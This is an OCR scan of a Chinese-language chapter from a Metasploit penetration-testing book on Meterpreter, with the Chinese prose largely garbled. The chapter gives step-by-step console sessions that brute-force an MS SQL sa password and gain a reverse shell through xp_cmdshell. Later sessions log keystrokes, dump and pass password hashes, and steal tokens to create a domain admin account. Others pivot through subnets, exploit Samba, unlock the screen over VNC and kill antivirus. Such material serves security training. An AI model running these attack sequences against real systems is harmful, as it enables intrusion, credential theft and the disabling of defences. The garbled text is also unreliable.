MAC Address: 00:00:29:EA:26:7C {(VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

05 details: Microsoft Windows XP Professicnal SP2 @ or Windows Server 2003

[ ] SHIF L [ ] [ ]
Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds

msf »

Widsm AW OTPTLIEE], RETFRT ~HEFEEMED, B8 MS SQLOXR B F ik
fim . ATFEBNLZET nmap 3. BIWELM A4 Windows XP Service Pack2®, X4
BENRGECEAHEY, FECLFRFALE SP3 REPC LB, {87 SP2 PRRIETE.

AR R P e LUE BT T FTPOF SMTP®G O, X544 DO 0] 875 76 v ) HI (101
FIRBIFET 80 E @, BEHRERNIOT LS IT Web R A Z ;.

6.1.2 X MS SAL

XM T, FAPEA MS SQL #1433 3 DT HdE, FAZPEROETFE CaNE
i, ATLIEZEREEARFEBSETE R,
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HE M Meterpreter

B, RAVEERALE T MS SQL, A5 MS SQL AR 4 BEAT 2 JJ 1A% LR ELE S,
MS SQL A 72367E TCP 1433 ## QU UDP 1434 351, {EFAR A MS SQL A F k4 BIBEHLE)
A4YECEY TCP 301, UDP 1434 S0 A#FE A4k, #TLAUET UDP 3R MR A WIAE SQL IR%/Y
TCP 3)&wm O .

XHE, EiIR R R LK UDP 1434 4 02 IH):
msT > nmap -sU 192.168.33.130 -p1434 ©

Nmap scan report for 192.168.33.130
Host is up (0.00033s latency).

PORT STATE SERVICE
1434/udp open ms-sql-m @

Nmap done: 1 IP address {1 host up) scanned in 0.46 seconds
msf >

FLLES, H9FE 0K MS SQL ) UDP 1434 lORHKAO®, (GB1l. 13M17E
B % MS SQL A{EB A AR, )

Pl MS SQL 9 E#r, A0 DAMEF mssql_ping R H MS SQL kS0, FHEITRIP
ZS5O4REN. MSSQL ZEVIRZENNRERERAFCE s NRGEEHELAH,. B THEE
HRATEEEFNEEEBHELTIR, FELSRETEMNRBEEN, ELRIIWLZAFE
B R AREE sa A G,

T T, BA1EEH mssql login BRESRESHN sa ) 3T & TR

msf > use scannexr/mssql/mssql_ping
msf auxiliary{mssql _ping) > show options

Module options:

Name Current Setting Required Descriptien

PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

USERNAME sa no The username to authenticate as

msf auxiliary{mssql ping) > set RHOSTS 192.168.33.1/24
RHOSTS =» 192.168.33.1/24

msf auxiliary{mssql _ping) > set THREADS 20

THREADS =» 20

msf auxiliary{mssql ping) > exploit

[*] Scanned 040 of 256 hosts {(015% complete)
[*] Scanned 052 of 256 hosts {020% complete)
[*] Scanned c80 of 256 hosts {031% complete)
[*] Scanned 115 of 256 hosts {044% complete)
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*] SQL Server information for 192.168.33.130: ©

|

[*] ServerName = IHAZSECURITY @

[*] InstanceName = SQLEXPRESS

[*] IsClustered = Ng

[*] Version = 9.00.1399.06 ©

[*] tcp = 1433 ©

[*]  np = \\IHAZSECURITY' pipe\MSSQL$SQLEXPRESS\sql\query
[*] Scanned 129 of 256 hosts (050% complete)

it use scanner/mssqi/mssgl ping w4 mssql_ping fBEAIRE S, Rz,
AL ET SQL MFEBERET 192.168.33.1300 I, RFEe34HK IHAZSECURITY®., HESH
9.00.1399.06® (SQL Server 2005) , MR A S 14330,

6.1.3 RO MS SQL fRF =5
F—, BATFAH Metasploit HEAEH) mssql login FRHRHAAT R ST

msf > use scamner/mssgl/mssql_login @
mst auxiliary(mssql login) > show options

Module coptions:

Name Current Setting Required Description
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to §
PASSWORD no The password for the specified username
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 1433 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
USERPASS_FILE no File containing users and passwords
separated by space, one pair per line
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

msf auxiliary(mssql login) > set PASS FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt @
PASS FILE => /pentest/exploits/fasttrack/bin/dict/wordlist,txt

msf auxiliary(mssql login} > set RHOSTS 192.168.33.130

RHOSTS => 192.168.33.130

msf auxiliary(mssql login} > set THREADS 10

THREADS => 1C

msf auxiliary(mssql_login} > set verbose false

verbose => false

msf auxiliary(mssql_login) > exploit

[+] 192.168.33.130:1433 - MSSQL - successful login "sa’ : 'passwordi23’'@
[*] Scanned 1 of 1 hosts (100%¥ complete)

[*] Auxiliary module execution completed
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6 E Meterpreter

B mssgl_login #E®, {8 Fast-Track FHIEEFIRO . (FRAVHEA 11 T4 Fast-Track
FIEZMIT), RIGAHELH T sa 04 password123©,

HER: Fast-Track AP L F —HEFHRB—A LR, ERT EHLEF X, REAFHA
PAR Metasploit 12, Rt 4T84 ¢) & sHHI . Fast-Track 69— A~ 4 Pe 24 7T A Bk Fr R
A= ) S & MS SQL.

6.1.4 xp_cmdshell

LA sa B R K P BUBIEAT MS SQL B, FATTRT BASAAT xp_emdshell TR 72, 7L HE
AWENEESIKERERKHITE T HIITirS . xp_cmdshell & SQL Server T HH BN
BN, BAITLLGAD MS SQL HA xp_cmdshell BEKHATHERSAG S, ML HM
R R CARATE R oy & (R AE RERBRSH P a2 4T 0 MS SQL & — AR LL SYSTEM £
AR RZBATHI, FTEA—B3k1H sa A/, gl BARIEY RUS 2 1 B 47 K U5 1] MS SQL FIE /R #21F
5,

A THEEREPEABEEH, WANFES xp_cmdshell TR R, TMARERR, Hi&
id- A RAT I REA IR f7 . David Kennedy # Joshua Drake (jduck) CEWEG T — &
Bt (mssql payload), AICLHT xp emdshell 348 A E Metasploit i G7

msf > use windows/mssql/mssql_payload @
msf exploit(mssql payload} > show options

Module options:

Name Current Setting Required Description
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 1433 yes The target port
USERNAME $d no The username to authenticate as
Uselmd5Stager true na Wait for user inrput before returnimg from exploit
VERBOSE false na Enable verbose output
Exploit target:
Id Name
0 Automatic

msf exploit(mssql payload) » set payload windows/weterpretexr/reverse_icp ®
payload => windows/meterpreter/reverse tcp

msf exploit(mssql payload} > set LHOST 192.168.33.129

LHOST =» 192.168.33.129
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msf exploit{mssql payload) > set LPORY 443

LPORY => 443

msf exploit(mssql payload) > set RHOST 192.168.33.130
RHOST => 1§2.168.33.130

msf exploit(mssql _payload) > set PASSWORD passwordi2}
PASSWORD => passwordil23

mst exploit(mssql payload) > expleit

[*] Started reverse handler on 152,168.33.129:443

[*] Command Stager progress - 2.78% done (31484/53679 bytes)
[*] Command Stager progress - 5.57% done (2988/53679 bytes)
[*] Command Stager progress - 8.35% done (4482/53679 bytes)

ill--SHIP--.
[*] Command Stager progress - 97.32% done (52239/53679 bytes)

[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1699)
meterpreter » @

¥ mssql_pavicad RO F, KERINBEGEA N meterpreter® ., FJ3 3 Meterpreter 2
G2 BT RN E AR RS EUATTACE . 1T exploit .2 /7, Meterpreter 2 I57E H R4l L
BT R e.

BIE— T, BAVEREF mssqgl ping RS MS SQL fR%, IR mssql login IEBIFHE
MS SQL W) sa A% —password123, RGHEH mssql_payload M5 MS SQL ZEHF L%
Meterpreter shell, MM 7 RENTEARELE.  BIRE T Meterpreter shell, AI5EA]
LA REEHAT IR AR BHH R .

6.1.5 Meterpreter XS

BINA R RAHKEREAR Meterpreter 2152 5, BAITLIRH —EEAR] Meterpreter
e, FREFELHEL. FEEVEMFEA help dr-2>5E0T LB £ 0 {74 A Meterpreter K17 B)
B8,

1. 8RR

Meterpreter ) screenshot fiy4- 7] LUER L3R 30 FE P B R 1B 5 (R4 Bl /op/metasploit3/msf3/
H#., W 6-1 Fras.

meterpreter > screenshot
Screenshot saved to: sopt/metasploit3i/msf3/yWHXaZar. jpeg

RH&F RN HERAR BN — T EERE. WHE 6-1 B, 7T AR B RHRIEIT T McAfee
ARG, MOF RN AR RELHFHEE LT (F 7 R EARTH 508 R 5 E).
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$FE 68X Meterpreter

B 6-1 Meterpreter 852

2. sysinfo

7 - EWAGE N ar-4R sysinfo, X Mar SRR RAZITRIFE, TR
meterpreter > sysinfo

Computer: THAZSECURITY

05 : Windows XP (Build 2600, Service Pack 2}.
Arch . uB6

Languape: en_US

WMLLER, BERSRE Windows XP Service Pack 2, F24 SP2 AR, XEWERS
FE—KERR.

6.1.6 ZKEHRICK

MAERNFTERBRENEN, PILEAEBSRBED R, el LI £ bifra
RicR. BFEMHLZRT, ELIERATA ps a5 KRB AR RE EEBITHIHEEE.

meterpreter > ps O

Process list

PID  Name Arch Session Lser Path
0 [System Process]
4 System xB86 O NT AUTHORITYASYSTEM

- SNIP .
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1476 spoolsv.exe x86 O NT AUTHORITYASYSTEM C = \WINDOWSY
system32\spoolsy,exe

1668 explorer.exe @ x8b 0 IHAZSECURITY\Administrator  C:\WINDOWS\
Explorer. EXE
« SNIP . . .

4032 notepad.exe %86 O IHAZSECURITY \Administrator € \WINDOWSY

system32\notepad.exe

meterpreter » migrate 1668 ©

[*] Mipgrating to i668...

[*] Mipration completed successfully.

meterpreter » run post/windows/capture/keylog recorder &
[*] Executing module against V-MAC-XP

[¥] Starting the keystroke sniffer...

[*] Keystrokes being saved in to /root/.msf3/loot/
20110324171334_default 192.188.1.195 host.windows.key 179703.txt
[*] Recording keystrokes...

{*] Saving last few keystrokes...

root@bt:~# cat /root/.msf3/loot/20110324171334 default 192.168.1.195 host.windows.key 179703.txt @
Keystroke log started at Thu Mar 24 17:13:34 -0600 2011

administrator password <Back> <Back> «<Back> <Back> <Back> <«Back> <Back> <«Tab» passwordi23l)

WIT ps S OKE 7 ¥ explorer.exe H AWK IZFEO. FE(1{#H migrate 5 OK S5
LT ZE explorer.exe KIHIEE AT, 2GRN keylog recorder 11RO . —B R GEH CTRL-C
PiE. B, £ —A%mE, AJLUEIRMNEABHLCFHBEEIHARO.

6.2 1ZiEA R BMNED

TESCATRIB 1, RATE LB D RIKRAF WAEEEN. AR TR LR, R
AT L Meterpreter 3K 3RE R G0 A M 315 B A7 48 M0 b4 05 A 4H

6.2.1 IENERKEHE

KRB FH Meterpreter P HY hashdump S AR, REREKFA P BNEBWRHE.
P Windows RETEAERFEN AR —A 8 LAN Manager (LM), NT LAN Manager (NTLM ),
BY NT LAN Manager v2 (NTLMv2),

B, £ LM e AT, HHAPH KBS FH g a %, e asA{H.
TR RKCERRE, BEENTA TAHFF -HEGHE. L password123456 RS A H),
A {E LA passwor Hl d123456 K77 A TE W, LI AR ER AR 7 75 - AREE,
A& REGHT 14 A~ FFF. M NTLM B F68 7 2URFMKAE TR, ) password123456 #H1E A

.
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% 6¥ Meterpreter

BB A AT

Br: BNAXERA AL EABEABBREE F64 54, b LM L FHaRX
14 MFHE KA, AR5 8 54850 NTLM 4954 G458 5 A, PRt f #240 & 5
A T AR T ST A st i ek AR,

MTFARERERIIZBEN UID X 500 89 Administrator FF /K S HIFEEB F M ( Windows

R AE P B Y Administrator). Administrator:500 /5 ) 56 & Administrator 383 35 4
e A E .

Administrator:500:et2cachy419a9az2cbbboge2fdfocsye O :30ef0864231916deec37Baacd2cdefoc B

FH-NMEFOR LMBHEE, BB -PUENTLMBFEO.
ETRBA1EM H OB Windows XP &4 FIREUH P L FuEF o B4,

6.2.2 {£H Meterpreter fi £ I FBIRFE

HHERL LEE -MEAMFN, W thisisacrazylongpassword& &V @@#E, RIEEH

Meterpreter H 3 3RHX HAn R4 LRIAH P R AEEKBRE (LR BAMEH use priv 6y
% BRAHEBSITERBKT L,

Rzl SEHY (SAM) SURE, RNMNFEEITHE SYSTEM BT, DgEdERE
RIS, EEMZRT AR Windows H P MEEA SAM 7765, iF2 LR BRI EHATIX
Mg, REFFREGRENEIA- ZAEMNREE. TEHRIERERTRIFH hashdump
o S IRAX RSB 0 A P & R TR 7 (HL

meterpreter > use priv
Loading extension priv..,success.

meterpreter » run post/windows/gather/hashdump
[*] Obtaining the boot key,..

[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a09b670f114b6, ..
(*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:aad3b435b51404ecaadibaisbsi1404ee:h75989F05d1e04af7h25ed712ac36c29: 1

L aad3b435 HLPFIMHERE - MERRATFENBFE—FELEFOMNT (RE
Administrator:500:NOPASSWD:ntlm M &H IR AT —) . TR 14 Y HKE, Windows
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FEEIG HATAE A LM Je=, BrLLRfi A aad3b43s. MF B, (KR HIHML.

4z LM R (0188 N\

A pEARAE, TR —T: ¥RBFIAIEY UATRRXBEGES,
{# A} hashdump R IR E Lo B X #E—4 LM 699084 (£ L4 vL aad3b435 1 5%
B ), REMKASYESHE T G Tk Rll, FHS, RTEMAE
BMEMNES (REARRAGAXGES, BHABXLETHEEFEISREN
AR | AHAHLLAUR, HAXRThkeL LB IR EBEMNERR
¥, BEPEEOENE. BB TAREHE 09, az. BHFHATHRGEEHS,
#fesd A R X B AN A B RATEM G IR, T B8 §RFFL LT Bk +
\iﬁiﬁ: dyeie R AL AT A B 65 AL 3L, : /

6.3 HEWKFE

ERIEABE T, BAEBT SR BNCLERINEE AR PP 2% G5
F{H, (HERAAGETE ] #5501 (8] R SO E DR oK. WA aniE B SO # g, el ix 4
APARSERINEFEZHNEN. AREZHAAR?

XEHARGHELZSER, X UFHBABAERE T, M HEE G A Metasploit
B windows/smb/psexec FEHLFH A LLE. W0 FAias:

mst> use windows/snb/psexec @

mst exploit{psexec}> set PAYLOAD windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse _tcp

msf exploit{psexec)> set LHOST 192.168.33.129

LHOST => 192.168.33.129

mst exploit{psexec)> set LPORT 443

LPORT => 443

msf exploit{psexec)> set RHOST 192.168.33.130

RHOST => 192.168.33.130

| ] L] SHIP ] ] *

msf exploit{psexec)> set SMBPass
aadib435b51404eeaad3baisb51404ee:b75989F65d1e04afT625edT712a036¢2
SMBPass => aad3ba3sbsldodeeaadibaisbsiqogee:bysodatesdienqatybs
msf exploit{psexec)> exploit

[*] Connecting to the server...

[*} Started reverse handler

[*] Authenticating as user 'Administrator’...
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[*] Uploading paylead...
[*] Created \JsOvAFlLy.exe...

3 smb/psexec 1EH O, BELT LHOST. LPORT fl RHOST Z &2 )5, # SMBPass &
BB AT REHFESAENS. UFIHAERET, RITEE T Meterpreter &18. IXH
AR AEREEL, EARATERCED, UUERFESFHEMEKS T EEABE,

MRBINAE T EAHEMEPH—&FH, ELHEERT, XEENNTERKS SHT
HAth KB4 R L 4. RERMNF o LLMBAEE, ReeBTHEMN M A RB S
TR K.

6.4 IIRIZF

ARG T B ARGV AR, wTLUEIT net user fiy481 e FR A PR (983 A3 7 K
S BTSRRI SR AR BB P IR KR REATIER (RWTUES 8§ P FEIBEXT
i IEHR D

MERUZFEAAKSEA, BESERARITRFEEHEAMNMA —LLa$, WK 5ETHR
AY LA 3 R i 25 ) R

£ Windows XP BJH trtl_E3IA LU ar &

C:\Documents and Settings‘Administrator»>net user bob passwordi123 fadd.

$iE, BNBIE -DET Meterpreter BIBGHEB AR F—payload.exe. HHEIE k5 XP Hl
k. HTE bob AP, Fizdr, ZRERNMFEIMZRAS/AKRT . EXEFP, BRIMEAR
FEATAE MR (msfpayload) 818 LAY E Windows BIHUT L 2 Meterpreter Bl 32
¥ payload exe, ((ES 7 EPRATH 17 # msfpayload (15 247D

root@bt: /opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 X > payload.exe O

root@bt: /opt/framework3/msf3# msfcli wulti/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHO5T=192.168.33.129 LPORT=443 E @

[*] Please wait while we load the module tree...

[#] Started reverse handlexr on 192.168,33.119:443

[*¥] Starting the payload handler...

[*] Sending stage {748032 bytes)

[*] Meterpreter session 1 opened {192.168.33.129:443 -> 192,168.33.130:1056)
meterpreter > getuid ®

Server username: IHAZSECURITY\bab
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B3 Meterpreter T EFTAT, IRAIFTIZ ¥ A9 LHOST 1 LPORT #4877 T K M) shell 2%
F B HLHR ARG T 443, RHGEATAH msfeli # THATRW I EMHERE, SAEERENR
ik, BEHB Meterpreter H) shell,

XL E 23R Meterpreter ATHATEFO. EH 3 Windows XP L., 5L bob A F
S EY

B0 B 10 LR Meterpreter iEE, RETE QB RE _EWMAT pavload exe, 1BE|—15
fRHE /4 B Meterpreter #5150, Blin, AT LLTE Back|Track ¥l _E% RN pavioad exe, 3% J1F|
Windows XP §l_E, G E R LLIKT Meterpreter &5 .

meterpreter » shell @

Process 2896 created.

Chanpel 1 created.

Microsoft Windows XP [Version 5.1.2600)
(C} Copyright 1985-2001 Microsoft Corp.
C:v>net user bob

- + SNIP , . .
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
C:vor

Background channel 1? [y/N] vy

£ L ERPIERED, BITH Meterpreter 215BEA £ shell®, i net user bob, WLFH
B bob HPTE Users A EH, TREMR, RHFEZEENE. £XNMKSHET, TG
YR A SR, FAEHiTREERNESE, HnEERR SAM 38 E KB R Al
A H(FEIE B, Meterpreter 1] LT IRIZAF A . S TR TLLERD .. BIfTHR, # CTRL-Z
LB Y shell I {£ B Meterpreter &ifi.

$275: Meterpreter 12 8 /15 [ —— f£ Meterpreter 484] & £ 490748, T8l A background
B4t 3] MSF #£38 2, Meterpreter 858161 EIEST, KT sessions -1 #= sessions -1 2% id
¥ 14 ¥ 2| Meterpreter 44 4 .

ML RAIRREE B BB SYSTEM MR TR, BATRA use priv dr-4 3 nE; priv
bR, LUED ) kbt GXERER AT &k ) . RGN getsystem fyS 2 KA% R
WABNEHRARREERR. TR getuid @ SR BRI REE. RS~
ZIRFIHIR NTAUTHORITY\SYSTEM, IXEWRERIRGER T ERRHER.
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meterpreter > use priv

Leading extension priv...success,
meterpreter > getsystem

...got system (via technique 4}.
meterpreter > getuid
Server username: NT AUTHORITYAWSYSTEM

AT BA{E B rev2setf fy 4, UN#[E] Meterpreter shell 218G T IR A MRS

6.5 SHRBRE

ESMBERTG S, BIEEREIFRED KN —1 Kerberos 08, B HHES NIRRT .
REH B EXN SN P . 48 E 2 Meterpreter BIRARIThEEZ —, 2B IES
HHB.

BT ESER, W RIEFENEMEEHITRENR, BIMARTREFEVYT

N Meterpreter &80y, TMEBELAPE 13 PMNAEREXEIE. EHAPBAXEH
BHIEHR, -~ Kerberos @IS REFIRFRSE L (BT RGER) FHEREN—BRIEZ
WA R PRel EAE B X184 MR AR R4, Tl Meterpreter R AR E S AR B,
MAAFHEBRBMENFRY, AFHFRATUERGEETERKS, EEREERES. XaMERIKK
ARERENER A, WKW Meterpreter L FH W 5 — 5.

6.6 {£HMH ps

XN TP, BAVER Meterpreter Y ps #4713 YRS IT RIS HEF UL RIETIXEN
HYAPES., BIMFESNLZFE R SNEAKS.ING, 5 5 44 ihazdomainadmin®.

meterpreter > ps

Process list

N | ettt T N F

FID Name Arch Session User Fath

0 {System Process]

4 System ¥8& 0 NT AUTHORITY\SYSTEM
380 cmd. exe x86 0 OSHNEAKS . INVihazdomainadmin®  \System\

Root\5System3dzicmd. exe
.« » SNIP . . .

meterpreter >
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WTFBTR, A1 steal token fiyS-F1 PID 2% (GXE R 380) R EBURETEERAAFAK

T,

meterpreter » steal token 380
Stolen tokem with usermame: SNEAKS. IN\ihazdomainadmin
meterpreter »

BAICE2RINiEE THRERRKS, A Meterpreter £ LURE B R HPRIBET T,
FEAF I T pstr- A AT B E B RiziT R . BT LUEHincognitodr S I35 R A

ERTEAFIAR 2. BAERTEDRR, B&EAANTE RN Epsty S Hlincognitoty-4 14
HEER.

BT use incognito -2 IN3X incognito HEHL, SREIEIT list_token -u A FIEE LS. £ O

B] LLE B SNEAKS. INihazdomainadmin B F WS . MERIMITUEEINHALT .

meterpreter » use inceognito

Loading extension incognito...success.

meterpreter > list tokens -u

[-] Warning: Not currently rumning as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
SNEAKS . INVihazdemainadmin @
THAZSECURITY\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHDRITYANETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available

NT AUTHORITYMANONYMON)S LOGON

R BR, BAIRSIENE T ihazdomainadmin MO FEM T — MM 0, RELUR

TIrEEHEANBEO. (FFOfHA DOMAINWUSERNAME I BFESMAF RS, W)
PR A% N 192.168.33.50.

meterpreter > impersonate_token SNEAKS.IN\\ihazdomainadmin ©
[+] Delegation token available

[+] Successfully impersonated user SNEAKS.IN\ihazdomainadmin

meterpreter > add user omgcompromised p@SSword! -h 192.168.33.50 ©

[*] Attempting to add user omgcompromised to host 192.168.33.50

[+] Successfully added user

meterpreter » add_group_user "Domain Admins” omgcompromised -h 192.168.33.50 ©

[*] Attempting to add user omgcompromised to group Comain Admins on domain controller
192.168.33.50

[+] Successfully added user to group
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£\ add_user f1 add_group_user 348, B E T-h 23, XMSHERAHEEHENR
2B E Ak, 70K ORI FI 2SR IP Mokt XFPEBE TSR AR AR Bk
i, BEEABRPEMR AL LK Kerberos K, #oJLigEBE, CUES H A E K.
XA R A P4 FAE T — G P8 AR R 5 ER Y.

6.7 BT RIRIEH AR

Bk Bt (Pivoting) & Meterpreter (L) —FP M 7%, MF M Meterpreter 283 BLit5
Hrp A R A, RINBGEGHFRIMAR T —G 38, T RHEEFI RS LS
YE ABEAR B et P g KA R 41, R U () el 3 B B ) BB i AS RE B 880 1R) BT 1 P 3R 45

EAP T, BWRREMNEEMN iz ENA, BEEMREART 1R, HEN
HRIZEFEB [ Meterpreter 35, HIXANRE FHEARBEMNFRA AR, RMNFEAEERE
TR AR MR, XNAFTERTAMERE. BEHR G R TIREA CLlEZ S 1
Meterpreter 2% 3w 3 B 1A 56 M 4% o 1) HAR AL 25 .

ETHEAEFP, BIOBA -NMTREE—TMEHBRSR. ReBIXMRAEZIHRBER
rEAPLE. 5. WANZEA Windows XP HlasitiThmimiE, @It s, B AN
WAL — A Ubuntu RAFTH . WEHHLH IP £ 10.10.1.1/24 Pk, Bick
192.168.33.1/24 HIM %K,

ZIMRRFELAR CEIRT [ RTIRFSFEMHEBIR, LRSS BirP g EIT
. AT ERITE scripts/meterpreter/ B 3% P I Meterpreter SMERE, X RERME 7 ALE
Meterpreter {8 F ) BUSH B RE -

[*] Meterpreter session 1 cpened (10.10.1.129:443 -> 192,168.33.130:1075)

meterpreter > run get local_subnets ©

Local subnet: 192.168.33,0/255.255,255.0

meterpreter > background @

msf exploit(handler) » route add 192.168.33.0 255.255.255.0 1 ©
mst exploit(handler} » route print ©

Active Routing Table

FF A [F I S B 3 o N ]

152.168.33.0 25%.255.255.0 Session 1 @
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BATH BT run get local_subnets 74, 7F Meterpreter 21EP R RSB ELS A MF M
O . THMAR § Windows XP fLHAR S2FWENR, RERIABAESEH IR GETO,
f£ MSF #imP TR Rm S0, SMRIAETHEME ID (2 FHAAHMEE) #id
YE4id 1 kT d, R)5IRT route print iy ERSBIEKARBRES. "THEMERN
FB ARSI T IO .

SRR BT BA5 Linux REHRITR BB, XEFHKZZET Samba FMER HIE R
By, XA-WATETE T-RATIH) Metasploitable $EHL L.

use msf exploit{handler} > use linux/samba/lsa_transnames_heap
mst exploit(lsa_transnames_heap} > set payload linux/x86/shell/reverse tcp
payload => linux/x86/shell/reverse tcp

mst exploit(lsa_transnames_heap) > set LHOST 10.10.1.123 @
LHOST => 10.10.1.129

msf expleit{lsa_transnames_heap) » set LPORT BOSO

LFORT =» B0BD

msf exploit{lsa_transnames_heap) > set RHOST 192.168.33.132 ©
RHOST => 192.168.33.132

msf exploit(lsa_transnames heap) > ifconfig @

[*] exec: ifconfig

etho Link encap:Ethernet HWaddr 00:0c:29:47:eb:79
inet addr:10.10.1.129 Bcast:10.10.1.255 Mask:255.255.255.0
inett addr: fe80::20c:29ff:ted7:e679/64 Scope:Link
UP BROADCAST RUNMING MULTICAST MTU:1500 Metric:1
RX packets:23656 errors:0 dropped:0 overruns:0 frame:0
TX packets:32321 errors:0 dropped:¢ overruns:0 carrier
collisions:0 txqueuelen:1000
RX bytes:4272582 (4.2 MB) TX bytes:17849775 {17.8 MB)
Interrupt:19 Base address:0x2000

lo Link encap:local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:i
RX packets:600 errors:0 dropped:0 overruns:0 frame:0
TX packets:600 errors:0 dropped:0 overruns:0 carrier:o

collisions:0 txqueuelen:D
RX bytes:41386 ?41.3 KB} TX bytes:41386 (41.3 KB)

ms¥ expleit(lsa transnames heap) > exploit

[*] Started reverse handler on 10.10.1.129:8080

[*] Creating nop sled....

[¥] Trying to exploit Samba with address oxffffed10...

[*] Connecting to the SMB service...

[*]1 Binding to 12345778-1234-abcd-ef00-0123456789ab:0. 0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192,168.33.132[\1sarpc] ...
[*] Calling the vulnerable function...
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[+] Server did not respond, this is expected

[*] Trying to expleit Samba with address oxffffeqii...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab: 0. 0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456780ab:0.0@ncacn_np:192.168.33.132{\1sarpc]) ...
[*) Calling the vulnerable function...

[+] Server did not respond, this is expected

[*] Trying to exploit Samba with address oxffffeq1z...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0. 0Bncacn_np:192,168.33.132[\1sarpc] ...
{*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.08ncacn_np:192.168.33.132(\lsarpc] ...
[*] Calling the vulnerable function...

[*] Sending stage (36 bytes)

[*] Command shell session 1 opened (10.10.1.129:8080 -> 192.168.33.132:1608) ©

it ifconfig S5 W RMEEEO, 5 LHOSTOM RHOSTO LR HITX L, FITELE R,
LHOST & %35 2 M £ & HLAT [P ik, BSERT], RHOST B3 1P bk Ak 7 HiF
% F M hpthht, BANES SLBORPLSE T RGE, R H#ITREE . XNFIARRE
HKBENXEZTHRYBESFRPAKMEFETERS. XHFET, WRERNRY. B2
B3 —A%A 192.168.33.132 PR, X RBEEREGERBRAHATHEZEEN L#EY
IR &R EEIE. B exploit fr4HITHRARA, MMPAK—#, SROTAHREH, Ik
Windows XP B TH#LEHO,. HE, MEAEE P AMETHERAM, RINDATLME
F Metasploit P4 &[] scanner/portscan/tep AR, BARILAES BT Metasploit X{HH O
SRR IEE

R, MR A scanner/portscanvtep 4348 BB id SR E, A B AR-F A AT L E
ik oz, RELMIBLEmY FE, ®REFT @M AME8 st 8 3T Rt 47
B &5 T 4344,

ST ME TR, BRIOITFEABRSLRE M route add mr4 & Meterpreter I o 2 i5 5 N EG
M, MREZEFEMBsML TR —#RE, BOTH lﬂiﬁ_#ﬁfﬁ load auto_add_route 4

msf exploit{msc8 067 netapi) » load auto_add_route
[*] Successfully lcaded plugin: auvto_add route

msf exploit{ms08 067 netapi) > expleit

[*] Started reverse handler on 10.10.1.129:443

[*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1090)

[*1 AutoAddRoute: Routing new subnet 192.168.33.0/255.255.255.0 through session 1

91



Metasploit i3 g & 5

6.8 1M Meterpreter B &

Meterpreter K15 R A B] LITE Meterpreter iR EFBRAITRAE N, RERE L X
BES. XBERNATENHEFANH A, BESERIDSEILAHEBREES.

277 Meterpreter &4 Flip B 3T EAB B S E80 Y, KRNELAE PR
AL 2 Rlbe Ao/ i MRk,

HE “run HERRBE” 14, AJLLE Meterpreter B PIETT BHA. HEATRES HEIE
17, ol REsRALan (ol i B 9 HT B .

R RBERITFRE LET - MERAMEEEEN TR, WATLIER VNC hiis$
£ R R RRE T AR ik, /R REIEENERLRE. BEEEERT,
R R 6 PUERY, TURCHEVT W B R, (BRI : Metasploit #2885 78 41 19 & - -7

£ FEBFT P, BIET run vne 474, ARG LTE VNC £iF. RiWLLBIT
screen_unlock ay-4 % 84188 LA ST XHEMEFI A HFEIINEMmMA VNC 5.

meterpreter » rum vnc

[*] Creating a VNC reverse tcp stager: LHOST=192,168.33.129 LPORT=4545)

[*] Running payload handler

[*] VNC stager executable 37888 bytes long

[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\CTDWiQOC.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.33.129:4545...

[*] VNC Server session 2 opened (192.168.33.129:4545 -> 192.168.33.130:1091)

KRB HFEIHN VNC HERERED, RFERREEREER.

meterpreter > run screen_unlock

[*] 05 'Windows XP (Build 2600, Service Pack 2).' found In known targets
[*] patching...

[*] done!

6.8.1 TRiHIE

LRI RAN, HH SN Internet Explorer 2 28R ST RBHFIHR, W HE
EPLCH TRIKEE, Meterpreter RE R, ANTERSBERENEET .. BT
o IX AN, AT LAME AT SRR S driEtk, # Meterpreter 2158 RN EZ |4
THHEREN. PMEHXANREEED, UEFRTNRERBIEE.

meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*} Current server process: revterp.exe (2436)

92



¥ 6 ¥ Meterpreter

[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*) New server process: Explorer.EXE (816)

6.8.2 XHIRFUH

FEEAE U R . B BENWARE D, WRESRERENARBEHH
\ERAEIT R R RT, EXMERT, BAOTHEUZIT killav §7 BRARE (EHREE.

meterpreter > run killav

[*] Killing Antivirus services on the target...
[*] Killing oFff cmd.exe...
[*] Killing off cmd.exe.,,

6.8.3 RKEAHKEMEKBE

